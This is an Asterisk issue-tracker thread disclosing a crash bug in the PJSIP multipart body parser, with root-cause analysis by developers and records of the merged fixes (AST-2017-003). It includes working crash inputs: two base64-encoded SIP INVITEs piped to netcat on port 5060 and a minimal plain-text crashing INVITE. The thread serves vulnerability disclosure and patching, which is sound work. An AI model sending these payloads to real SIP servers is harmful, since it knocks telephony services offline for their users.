[Home]

Summary:ASTERISK-26939: Out of bound memory access in PJSIP multipart parser crashes Asterisk
Reporter:Sandro Gauci (sandrogauci)Labels:Security
Date Opened:2017-04-12 04:02:59Date Closed:2017-05-19 14:20:30
Priority:CriticalRegression?
Status:Closed/CompleteComponents:pjproject/pjsip
Versions:14.4.0 Frequency of
Occurrence
Related
Issues:
Environment:Attachments:( 0) core-asterisk-1492087708.20393-brief.txt
( 1) core-asterisk-1492087708.20393-full.txt
( 2) core-asterisk-1492087708.20393-locks.txt
( 3) core-asterisk-1492087708.20393-thread1.txt
( 4) multipartinvite2.raw
( 5) README.md
Description:I have included our draft report as an attachment.
Comments:By: Asterisk Team (asteriskteam) 2017-04-12 04:02:59.761-0500

Thanks for creating a report! The issue has entered the triage process. That means the issue will wait in this status until a Bug Marshal has an opportunity to review the issue. Once the issue has been reviewed you will receive comments regarding the next steps towards resolution.

A good first step is for you to review the [Asterisk Issue Guidelines|https://wiki.asterisk.org/wiki/display/AST/Asterisk+Issue+Guidelines] if you haven't already. The guidelines detail what is expected from an Asterisk issue report.

Then, if you are submitting a patch, please review the [Patch Contribution Process|https://wiki.asterisk.org/wiki/display/AST/Patch+Contribution+Process].

By: Sandro Gauci (sandrogauci) 2017-04-13 04:30:53.343-0500

Our report and the sample SIP message to reproduce the issue

By: George Joseph (gjoseph) 2017-04-13 07:55:02.306-0500

The base64 command string in readme.md has a newline in it.  It should be 1 long base64 string.   Here's the whole thing:

{noformat}
echo 'SU5WSVRFIHNpcDoyNTY1NTUxMTAwQG9uZS5leGFtcGxlLmNvbSBTSVAvMi4wClZpYTogU0lQLzIuMC9VRFAgc2lwLmV4YW1wbGUuY29tO2JyYW5jaD03YzMzN2YzMGQ3Y2UuMQpGcm9tOiAiQWxpY2UsIEEsIiA8c2lwOmJvYkBleGFtcGxlLmNvbT4KVG86IEJvYiA8c2lwOmJvYkBleGFtcGxlLmNvbT4KQ2FsbC1JRDogNjAyMjE0MTk5QG1vdXNlLndvbmRlcmxhbmQuY29tCkNTZXE6IDEgSU5WSVRFCkNvbnRhY3Q6IEFsaWNlIDxzaXA6YWxpY2VAbW91c2Uud29uZGVybGFuZC5jb20+CmNvbnRlbnQtdHlwZTogbXVsdGlwYXJ0L21peGVkO2Bib3VuZGFyeT0rKwoKLS0KLS0rKz1BQUEKeHh4Ci0tKw==' | base64 -d - | nc -u localhost 5060
{noformat}

Just run it and asterisk should crash.


By: Mark Michelson (mmichelson) 2017-04-13 11:01:38.936-0500

I've determined the source of the issue.

In the message that crashed Asterisk, the Content-Type header is as follows:
{noformat}
content-type: multipart/mixed;`boundary=++
{noformat}

The backtick (`) character before the "boundary" parameter causes PJSIP to be unable to determine the boundary for the multipart message. What PJSIP does in this instance is to try to guess the boundary by inspecting the body. It looks for the first "\-\-" in the body and determines that whatever comes between that and the next CRLF (or just LF in your case) is the boundary. The first instance of "\-\-" in the body is immediately followed by a newline, so PJSIP determines that the boundary is an empty string.

Given that information, the first two lines of the body are
{noformat}
--
--++=AAA
{noformat}

PJSIP determines that the first "--" is the opening boundary of the multipart body. The next line ("\-\-++=AAA") starts with the boundary marker ("\-\-") and so PJSIP considers that to be the end of the current multipart part. Therefore, the part it found is zero-length. Here's where things go wrong. The parser has two pointers: start_body and end_body. As the names imply, start_body points to the start of the part, and end_body points to the end of the part. Since the part in this case is zero-length, start_body and end_body point to the same address. However, PJSIP makes the assumption that it needs to trim the CRLF that precedes the end_body pointer and adjust the end_body pointer as necessary:
{code}
       /* The newline preceeding the delimiter is conceptually part of
        * the delimiter, so trim it from the body.
        */
       if (*(end_body-1) == '\n')
           --end_body;
       if (*(end_body-1) == '\r')
           --end_body;
{code}
This results in end_body pointing to an address lower than start_body. PJSIP then attempts to parse the part as follows:
{code}
       part = parse_multipart_part(pool, start_body, end_body - start_body,
                                   ctype);
{code}
Notice the {{end_body-start_body}}. The calculation results in a length of -1. Since this value is interpreted as unsigned, the resulting length passed to {{parse_multipart_part}} becomes 18446744073709551615 instead. This results in the following loop running past where it should:
{code}
while (p!=end && *p!='\n') ++p;
{code}
In some cases, these invalid reads of {{*p}} can cause a crash. In other cases, it does not.

There are three main issues I have found with the multipart body parsing:
# If no boundary is specified in the Content-Type header, PJSIP tries to guess the boundary instead. This could result in an incorrect guess. It is probably a better idea to fail at parsing under this condition.
# When searching for delimiters between multipart body parts, PJSIP does not follow the rules set forth by RFC 2046, section 5.1.1: {quote}
The boundary may be followed by zero or more characters of
  linear whitespace. It is then terminated by either another CRLF and
  the header fields for the next part, or by two CRLFs, in which case
  there are no header fields for the next part
{quote} In other words, the "\-\-++=AAA" should not have been interpreted as a delimiter since there was more than just whitespace and a CRLF after the determined boundary of "\-\-".
# There is a logical error whenever a zero-length body part is encountered that results in the calculated length of the part being negative instead of zero. The zero-length body needs to be special-cased so that this calculation does not occur.

The sample INVITE that you provided exploits all three of these issues in order to make the crash occur. Issue 3 is what actually triggers the crash though.The following SIP message causes the same crash but only exploits issue 3:
{noformat}
   INVITE sip:2565551100@one.example.com SIP/2.0
   Via: SIP/2.0/UDP sip.example.com;branch=7c337f30d7ce.1
   From: "Alice, A," <sip:bob@example.com>
   To: Bob <sip:bob@example.com>
   Call-ID: 602214199@mouse.wonderland.com
   CSeq: 1 INVITE
   Contact: Alice <sip:alice@mouse.wonderland.com>
   content-type: multipart/mixed;boundary=++

   --++
   --++--

{noformat}

We plan to get in touch with the PJProject maintainers and at the very least get issue number 3 fixed. The behavior of the first 2 issues may be needed for interoperability purposes. We will suggest that those behaviors get changed as well.

By: Sandro Gauci (sandrogauci) 2017-04-13 11:54:11.850-0500

Thanks for the explanation! Just want to point out that we also reached this crash without the backtick being present. I guess this is similar to what you wrote with regards to issue 3. E.g.

{code}
echo "SU5WSVRFIHNpcDpib2JAb2xlLmNvbSBTSVAvMi4wClZpYTogU0lQLzIuMC9VRFAgcGxlLmNvbTticmFuY2g9NzdjZS4xCiAgO21hZGRyPTI2LjI1NDt0dGw9MTYKVmlhOiBTSVAvMi4wL1VEUCBtb29tClZyb206IEEsIiAiQWwKVG86IEJvYiA8c2lwOmJvYkBleGFtcGxlLmNvbT4KQ2FsbC1JRDogbmQuY29tCkNTZXE6IDEgSU5WSVRFCkNvbnRhY3Q6IEFsaWNlIDxzaXA6YWxpY2VAbW91c2Uud29uZGVybGFuZC5jb20+CkNhbGwtSW5mbzogPGh0dHA6Ly93d3d3LmV4cnBvc2U9aWNvbjIsCiAgIC8vd3d3LmV4YW1wbGUyLmNvbS9hbGljZS8+IDtwdXJwb3NlPWluZm8yCkNhbGwtSW5mbzogPGh0dHA6Ly93d3d3LmV4YW1wbGUuY29tL2FsaWNlL3Bob3RvLmpwZz4gO3B1cnBvc2U9aWNvbiwKICAgICA8aHR0cDovL3d3dy5leGFtcGxlLmNvbS9hbGljZS8+IDtwdXJwb3NlPWluZm8KQWxlcnQtSW5mbzogPGh0dHA6Ly93d3d3LmV4YW1wbGUuY29tL2FsaWNlL3Bob3RvLmpwZz4gO3B1cnBvc2U9aWNvbiwKICAgICA8aHR0cDovL3d3dy5leGFtcGxlLmNvbS9hbGljZS8+IDtwdXJwb3NlPWluZm8KQWNjZXB0LUxhbmd1YWdlOiBkYSwgZW4tZ2I7cT0wLjgsIGVuO3E9MC43CkFjY2VwdC1FbmNvZGluZzogZGEsIGVuLWdiO3E9MC44LCBlbjtxPTAuNwpTdWJqZWN0OiBTSVAgd2lsbCBiZSBkaXNjdXNzZWQsIHRvbwpBY2NlcHQ6IG11bHRpcGFydC9taXhlZDsgYm91bmRhcnk9KyssYXBwbGljYXRpb24vc2RwCkFjY2VwdDogdGV4dC9wbGFpbjsgcT0wLjUsIHRleHQvaHRtbCwKIHRleHQveC1kdmk7IHE9MC44LCB0ZXh0L3gtYwpBY2NlcHQ6IGF1ZGlvLyo7IHE9MC4yLCBhdWRpby9iYXNpYwpBbGxvdzogSU5WSVRFLCAgQUNLICwgQllFLENBTkNFTCwgIFNVQlNDUklCRSAgLCBOT1RJRlkgIApjb250ZW50LXR5cGU6IG11bHRpcGFydC9taXhlZDsgYm91bmRhcnk9KysKY29udGVudC1lbmNvZGluZzogZ3ppcCwgY29tcHJlc3MKY29udGVudC1sZW5ndGg6IDMyMApNSU1FLVZlcnNpb246IDEuMAoKLS0rKwplbnQtVHlwZTogYXBwbGljYXRpb24vc2RwDQp2cjEgNTM2NTU3NjUgMjM1MzY4NzYzNyBJTiBJUDQgMTI4LjMuNC41CnM9TWJvbmUgQXVkaW8KdD0zMTQ5MzI4NzAwIDAKaT1EaXNjdXNzaW9uIG9mIE1ib25lIEVuZ2luZWVyaW5nIElzc3VlcwplPW1ib25lQHNvbWV3aGVyZS5jb20KYz1JTiBJUDQgMjI0LjIuMC4xLzEyNwp0PTAgMAptPWF1ZGlvIDM0NTYgUlRQL0FWUCAwCmE9cnRwbWFwOjAgUENNVS84MDAwCg0KKysKQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LW9zaXAtY2hhdAoKSGkgZ3V5cy0tKysKLS0rKy0tCg==" | base64 -d | nc -u localhost 5060
{code}

By: Mark Michelson (mmichelson) 2017-04-18 17:03:36.471-0500

The scenario you pasted in your comment is triggering the same crash because of the detected zero-length part at the end of the body. The interesting thing there is that it shows yet another issue with multipart parsing in PJSIP. The "\-\-\+\+" at the end of "Hi guys\-\-\+\+" should not be interpreted as the beginning of a new body part since the delimiter does not appear at the beginning of a line.

By: Sandro Gauci (sandrogauci) 2017-04-19 00:39:07.487-0500

Thanks Mark - makes sense to me.

By: Friendly Automation (friendly-automation) 2017-05-19 14:20:31.713-0500

Change 5661 merged by Jenkins2:
AST-2017-003: Handle zero-length body parts correctly.

[https://gerrit.asterisk.org/5661|https://gerrit.asterisk.org/5661]

By: Friendly Automation (friendly-automation) 2017-05-19 14:25:00.513-0500

Change 5657 merged by Jenkins2:
AST-2017-003: Handle zero-length body parts correctly.

[https://gerrit.asterisk.org/5657|https://gerrit.asterisk.org/5657]

By: Friendly Automation (friendly-automation) 2017-05-19 14:43:18.195-0500

Change 5664 merged by Jenkins2:
AST-2017-003: Handle zero-length body parts correctly.

[https://gerrit.asterisk.org/5664|https://gerrit.asterisk.org/5664]

By: Friendly Automation (friendly-automation) 2017-05-19 15:11:30.956-0500

Change 5673 merged by Matthew Fredrickson:
AST-2017-003: Handle zero-length body parts correctly.

[https://gerrit.asterisk.org/5673|https://gerrit.asterisk.org/5673]

By: Friendly Automation (friendly-automation) 2017-05-19 15:11:42.799-0500

Change 5666 merged by Matthew Fredrickson:
AST-2017-003: Handle zero-length body parts correctly.

[https://gerrit.asterisk.org/5666|https://gerrit.asterisk.org/5666]

By: Friendly Automation (friendly-automation) 2017-05-19 15:12:44.641-0500

Change 5669 merged by Matthew Fredrickson:
AST-2017-003: Handle zero-length body parts correctly.

[https://gerrit.asterisk.org/5669|https://gerrit.asterisk.org/5669]